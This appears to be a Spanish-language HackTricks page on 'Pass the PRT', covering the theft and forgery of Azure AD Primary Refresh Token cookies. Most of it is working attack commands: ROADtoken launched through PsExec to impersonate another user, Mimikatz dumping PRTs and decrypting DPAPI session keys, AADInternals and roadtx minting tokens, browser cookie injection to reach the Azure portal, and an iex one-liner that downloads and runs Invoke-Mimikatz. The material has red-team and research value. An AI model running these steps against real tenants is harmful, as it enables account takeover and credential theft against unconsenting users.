Az - Pass the PRT

Aprende hacking en AWS desde cero hasta experto con htARTE (Experto en Red Team de AWS de HackTricks)!

Otras formas de apoyar a HackTricks:

¿Qué es un PRT

pageAz - Primary Refresh Token (PRT)

Comprueba si tienes un PRT

Dsregcmd.exe /status

En la sección Estado de SSO, deberías ver que el AzureAdPrt está configurado en YES.

En la misma salida también puedes ver si el dispositivo está unido a Azure (en el campo AzureAdJoined):

La cookie PRT en realidad se llama x-ms-RefreshTokenCredential y es un JSON Web Token (JWT). Un JWT contiene 3 partes, el encabezado, carga útil y firma, divididos por un . y todos codificados en base64 de forma segura para URL. Una cookie PRT típica contiene el siguiente encabezado y cuerpo:

{
"alg": "HS256",
"ctx": "oYKjPJyCZN92Vtigt/f8YlVYCLoMu383"
}
{
"refresh_token": "AQABAAAAAAAGV_bv21oQQ4ROqh0_1-tAZ18nQkT-eD6Hqt7sf5QY0iWPSssZOto]<cut>VhcDew7XCHAVmCutIod8bae4YFj8o2OOEl6JX-HIC9ofOG-1IOyJegQBPce1WS-ckcO1gIOpKy-m-JY8VN8xY93kmj8GBKiT8IAA",
"is_primary": "true",
"request_nonce": "AQABAAAAAAAGV_bv21oQQ4ROqh0_1-tAPrlbf_TrEVJRMW2Cr7cJvYKDh2XsByis2eCF9iBHNqJJVzYR_boX8VfBpZpeIV078IE4QY0pIBtCcr90eyah5yAA"
}

El Token de Actualización Principal (PRT) real está encapsulado dentro del refresh_token, el cual está encriptado por una clave bajo el control de Azure AD, lo que hace que su contenido sea opaco e indescifrable para nosotros. El campo is_primary indica la encapsulación del token de actualización principal dentro de este token. Para asegurar que la cookie permanezca vinculada a la sesión de inicio de sesión específica para la que fue destinada, el request_nonce se transmite desde la página logon.microsoftonline.com.

El proceso LSASS enviará al TPM el contexto KDF, y el TPM utilizará la clave de sesión (obtenida cuando el dispositivo fue registrado en AzureAD y almacenada en el TPM) y el contexto anterior para derivar una clave, y esta clave derivada se utiliza para firmar la cookie PRT (JWT).

El contexto KDF es un nonce de AzureAD y el PRT creando un JWT mezclado con un contexto (bytes aleatorios).

Por lo tanto, incluso si el PTR no puede ser extraído porque está ubicado dentro del TPM, es posible abusar de LSASS para solicitar claves derivadas de nuevos contextos y usar las claves generadas para firmar Cookies.

Escenarios de Abuso de PRT

Como un usuario regular es posible solicitar el uso de PRT pidiendo a LSASS datos de SSO. Esto se puede hacer como aplicaciones nativas que solicitan tokens desde el Administrador de Cuentas Web (token broker). WAM pasa la solicitud a LSASS, que solicita tokens usando una afirmación PRT firmada. O puede hacerse con flujos basados en navegador (web) donde una cookie PRT se utiliza como encabezado para autenticar solicitudes a páginas de inicio de sesión de Azure AS.

Como SYSTEM podrías robar el PRT si no está protegido por TPM o interactuar con las claves de PRT en LSASS utilizando APIs criptográficas.

Ejemplos de Ataques de Pasar el PRT

Ataque - ROADtoken

Para obtener más información sobre este método consulta esta publicación. ROADtoken ejecutará BrowserCore.exe desde el directorio correcto y lo utilizará para obtener una cookie PRT. Esta cookie luego se puede utilizar con ROADtools para autenticar y obtener un token de actualización persistente.

Para generar una cookie PRT válida, lo primero que necesitas es un nonce. Puedes obtenerlo con:

$TenantId = "19a03645-a17b-129e-a8eb-109ea7644bed"
$URL = "https://login.microsoftonline.com/$TenantId/oauth2/token"

$Params = @{
"URI"     = $URL
"Method"  = "POST"
}
$Body = @{
"grant_type" = "srv_challenge"
}
$Result = Invoke-RestMethod @Params -UseBasicParsing -Body $Body
$Result.Nonce
AwABAAAAAAACAOz_BAD0_8vU8dH9Bb0ciqF_haudN2OkDdyluIE2zHStmEQdUVbiSUaQi_EdsWfi1 9-EKrlyme4TaOHIBG24v-FBV96nHNMgAA

O utilizando roadrecon:

roadrecon auth prt-init

Entonces puedes usar roadtoken para obtener un nuevo PRT (ejecutar la herramienta desde un proceso del usuario para atacar):

.\ROADtoken.exe <nonce>

Como una línea:

Invoke-Command - Session $ps_sess -ScriptBlock{C:\Users\Public\PsExec64.exe - accepteula -s "cmd.exe" " /c C:\Users\Public\SessionExecCommand.exe UserToImpersonate C:\Users\Public\ROADToken.exe AwABAAAAAAACAOz_BAD0__kdshsy61GF75SGhs_[...] > C:\Users\Public\PRT.txt"}

Luego puedes usar la cookie generada para generar tokens e iniciar sesión utilizando Azure AD Graph o Microsoft Graph:

# Generate
roadrecon auth --prt-cookie <prt_cookie>

# Connect
Connect-AzureAD --AadAccessToken <token> --AccountId <acc_ind>

Ataque - Utilizando roadrecon

Ataque - Utilizando AADInternals y un PTR filtrado

Get-AADIntUserPRTToken obtiene el token PRT del usuario desde la computadora unida a Azure AD o unida de forma híbrida. Utiliza BrowserCore.exe para obtener el token PRT.

# Get the PRToken
$prtToken = Get-AADIntUserPRTToken

# Get an access token for AAD Graph API and save to cache
Get-AADIntAccessTokenForAADGraph -PRTToken $prtToken

O si tienes los valores de Mimikatz, también puedes usar AADInternals para generar un token:

# Mimikat "PRT" value
$MimikatzPRT="MC5BWU..."

# Add padding
while($MimikatzPrt.Length % 4) {$MimikatzPrt += "="}

# Decode
$PRT=[text.encoding]::UTF8.GetString([convert]::FromBase64String($MimikatzPRT))

# Mimikatz "Clear key" value
$MimikatzClearKey="37c5ecdfeab49139288d8e7b0732a5c43fac53d3d36ca5629babf4ba5f1562f0"

# Convert to Byte array and B64 encode
$SKey = [convert]::ToBase64String( [byte[]] ($MimikatzClearKey -replace '..', '0x$&,' -split ',' -ne ''))

# Generate PRTToken with Nonce
$prtToken = New-AADIntUserPRTToken -RefreshToken $PRT -SessionKey $SKey -GetNonce
$prtToken
## You can already use this token ac cookie in the browser

# Get access token from prtToken
$AT = Get-AADIntAccessTokenForAzureCoreManagement -PRTToken $prtToken

# Verify access and connect with Az. You can see account id in mimikatz prt output
Connect-AzAccount -AccessToken $AT -TenantID <tenant-id> -AccountId <acc-id>

Ve a https://login.microsoftonline.com, borra todas las cookies para login.microsoftonline.com e ingresa una nueva cookie.

Name: x-ms-RefreshTokenCredential
Value: [Paste your output from above]
Path: /
HttpOnly: Set to True (checked)

Luego ve a https://portal.azure.com

El resto debería ser el predeterminado. Asegúrate de poder actualizar la página y que la cookie no desaparezca, si lo hace, es posible que hayas cometido un error y debas volver a realizar el proceso. Si no desaparece, deberías estar bien.

Ataque - Mimikatz

Pasos

  1. El PRT (Token de Actualización Principal) se extrae de LSASS (Servicio de Subsistema de Seguridad Local) y se almacena para su uso posterior.

  2. A continuación, se extrae la Clave de Sesión. Dado que esta clave se emite inicialmente y luego se vuelve a cifrar por el dispositivo local, es necesario descifrarla utilizando una clave maestra DPAPI. Puedes encontrar información detallada sobre DPAPI (API de Protección de Datos) en estos recursos: HackTricks y para comprender su aplicación, consulta el ataque Pass-the-cookie.

  3. Después de descifrar la Clave de Sesión, se obtienen la clave derivada y el contexto para el PRT. Estos son cruciales para la creación de la cookie PRT. Específicamente, la clave derivada se utiliza para firmar el JWT (Token Web JSON) que constituye la cookie. Una explicación detallada de este proceso ha sido proporcionada por Dirk-jan, accesible aquí.

Ten en cuenta que si el PRT está dentro del TPM y no dentro de lsass, mimikatz no podrá extraerlo. Sin embargo, será posible obtener una clave de una clave derivada de un contexto del TPM y usarla para firmar una cookie (ver opción 3).

Puedes encontrar una explicación detallada del proceso realizado para extraer estos detalles aquí: https://dirkjanm.io/digging-further-into-the-primary-refresh-token/

Esto no funcionará exactamente después de las correcciones de agosto de 2021 para obtener tokens PRT de otros usuarios, ya que solo el usuario puede obtener su PRT (un administrador local no puede acceder a los PRT de otros usuarios), pero puede acceder al suyo.

Puedes usar mimikatz para extraer el PRT:

mimikatz.exe
Privilege::debug
Sekurlsa::cloudap

# Or in powershell
iex (New-Object Net.Webclient).downloadstring("https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Invoke-Mimikatz.ps1")
Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::cloudap"'

Copia la parte etiquetada como Prt y guárdala. Extrae también la clave de sesión (el KeyValue del campo ProofOfPossesionKey que puedes ver resaltado abajo. Esto está encriptado y necesitaremos usar nuestras claves maestras de DPAPI para descifrarlo.

Si no ves ningún dato de PRT, podría ser que no tengas ningún PRT porque tu dispositivo no está unido a Azure AD o podría ser que estés ejecutando una versión antigua de Windows 10.

Para descifrar la clave de sesión, necesitas elevar tus privilegios a SYSTEM para ejecutarte bajo el contexto de la computadora y poder usar la clave maestra de DPAPI para descifrarla. Puedes usar los siguientes comandos para hacerlo:

token::elevate
dpapi::cloudapkd /keyvalue:[PASTE ProofOfPosessionKey HERE] /unprotect

Opción 1 - Mimikatz Completo

  • Ahora quieres copiar tanto el valor de Contexto:

  • Como el valor de clave derivada:

  • Finalmente puedes usar toda esta información para generar cookies PRT:

Dpapi::cloudapkd /context:[CONTEXT] /derivedkey:[DerivedKey] /Prt:[PRT]
Name: x-ms-RefreshTokenCredential
Value: [Paste your output from above]
Path: /
HttpOnly: Set to True (checked)

El resto debería ser el predeterminado. Asegúrate de poder actualizar la página y que la cookie no desaparezca, si lo hace, es posible que hayas cometido un error y debas volver a realizar el proceso. Si no desaparece, deberías estar bien.

Opción 2 - roadrecon usando PTR

  • Renueva primero el PRT, que se guardará en roadtx.prt:

roadtx prt -a renew --prt <PRT From mimikatz> --prt-sessionkey <clear key from mimikatz>
  • Ahora podemos solicitar tokens utilizando el navegador interactivo con roadtx browserprtauth. Si usamos el comando roadtx describe, vemos que el token de acceso incluye un reclamo MFA porque el PRT que utilicé en este caso también tenía un reclamo MFA.

roadtx browserprtauth
roadtx describe < .roadtools_auth

Opción 3 - roadrecon usando claves derivadas

Teniendo el contexto y la clave derivada volcada por mimikatz, es posible usar roadrecon para generar una nueva cookie firmada con:

roadrecon auth --prt-cookie <cookie> --prt-context <context> --derives-key <derived key>

Referencias

Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks:

Última actualización